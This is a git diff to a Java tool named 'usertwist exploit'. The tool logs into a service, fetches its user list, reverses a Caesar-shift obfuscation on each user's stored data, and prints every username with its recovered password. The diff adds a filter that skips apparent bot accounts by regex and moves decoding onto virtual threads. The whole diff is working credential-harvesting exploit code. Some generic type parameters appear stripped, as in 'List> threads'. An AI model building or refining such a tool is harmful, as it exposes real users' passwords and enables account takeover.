diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml
index ec2d9bf..7f55eaf 100644
--- a/.idea/inspectionProfiles/Project_Default.xml
+++ b/.idea/inspectionProfiles/Project_Default.xml
@@ -2,7 +2,7 @@
-
+
\ No newline at end of file
diff --git a/src/fr/motysten/usertwist/exploit/Main.java b/src/fr/motysten/usertwist/exploit/Main.java
index f90780b..6d3d194 100644
--- a/src/fr/motysten/usertwist/exploit/Main.java
+++ b/src/fr/motysten/usertwist/exploit/Main.java
@@ -16,6 +16,7 @@ import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
+import java.util.concurrent.ExecutionException;
public class Main {
@@ -26,8 +27,9 @@ public class Main {
public static int rotation = 4;
public static boolean asynchronous = true;
public static Request requestClient;
+ public static boolean ignoreBots = true;
- public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
+ public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException, ExecutionException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
requestClient = new Request(false);
@@ -60,6 +62,10 @@ public class Main {
readLine = reader.readLine();
if (!readLine.isEmpty()) {rotation = Integer.parseInt(readLine);}
+ System.out.println("Do you want to ignore bot users ? [Y/n]");
+ readLine = reader.readLine();
+ if (readLine.equalsIgnoreCase("n")) {ignoreBots = false;}
+
JSONObject requestJSON = new JSONObject();
requestJSON.put("username", username);
requestJSON.put("password", password);
@@ -132,9 +138,9 @@ public class Main {
float startTime = System.nanoTime();
if (asynchronous) {
- Parser.asyncGetPass(usersArray, rotation);
+ Parser.asyncGetPass(usersArray, rotation, ignoreBots);
} else {
- Parser.getPass(usersArray, rotation);
+ Parser.getPass(usersArray, rotation, ignoreBots);
}
float elapsedTime = (System.nanoTime() - startTime) / 1000000;
System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms");
diff --git a/src/fr/motysten/usertwist/exploit/tools/Parser.java b/src/fr/motysten/usertwist/exploit/tools/Parser.java
index 79a525e..abb971f 100644
--- a/src/fr/motysten/usertwist/exploit/tools/Parser.java
+++ b/src/fr/motysten/usertwist/exploit/tools/Parser.java
@@ -3,35 +3,54 @@ package fr.motysten.usertwist.exploit.tools;
import org.json.JSONArray;
import org.json.JSONObject;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
public class Parser {
- public static void getPass(JSONArray usersArray, int rotation) {
- for (int i = 0; i < usersArray.length(); i++) {
- JSONObject user = usersArray.getJSONObject(i);
- String login = user.getString("username");
- String password = Cesar.rotate(user.getString("data"), rotation);
+ private static final String regex = "(^[A-Z][A-Za-z]+[0-9][A-Z])|(^.*?([A-Z]|[0-9]{3}).*?[,?;.:/!§%*^¨$£+])";
+ private static final Pattern pattern = Pattern.compile(regex);
- System.out.println((i + 1) + ". " + login + " => " + password);
+ public static void getPass(JSONArray usersArray, int rotation, boolean ignoreBots) {
+ for (int i = 0; i < usersArray.length(); i++) {
+ parseJSON(usersArray, rotation, ignoreBots, i);
}
}
- public static void asyncGetPass(JSONArray usersArray, int rotation) throws InterruptedException {
+ public static void asyncGetPass(JSONArray usersArray, int rotation, boolean ignoreBots) throws ExecutionException, InterruptedException {
+
+ ExecutorService executor = Executors.newVirtualThreadPerTaskExecutor();
+ List> threads = new ArrayList<>();
for (int i = 0; i < usersArray.length(); i++) {
int finalI = i;
-
- Runnable r = () -> {
- JSONObject user = usersArray.getJSONObject(finalI);
- String login = user.getString("username");
- String password = Cesar.rotate(user.getString("data"), rotation);
-
- System.out.println((finalI + 1) + ". " + login + " => " + password);
- };
-
- Thread t = Thread.startVirtualThread(r);
- t.join();
+ Future t = executor.submit(() -> parseJSON(usersArray, rotation, ignoreBots, finalI));
+ threads.add(t);
+ }
+ for (Future t : threads) {
+ if (t.get() != null) {
+ System.out.println(t.get());
+ }
}
}
+ private static String parseJSON(JSONArray usersArray, int rotation, boolean ignoreBots, int finalI) {
+ JSONObject user = usersArray.getJSONObject(finalI);
+ String login = user.getString("username");
+ String password = Cesar.rotate(user.getString("data"), rotation);
+
+ final Matcher matcher = pattern.matcher(password);
+ if (!matcher.matches() || !ignoreBots) {
+ return (finalI + 1) + ". " + login + " => " + password;
+ }
+ return null;
+ }
+
}